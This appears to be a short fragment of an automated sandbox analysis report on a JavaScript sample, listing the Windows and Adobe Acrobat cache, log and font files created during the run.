JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\935c2781-3bd6-47fe-9338-19d126541677.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6004

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
2091470502273216855.js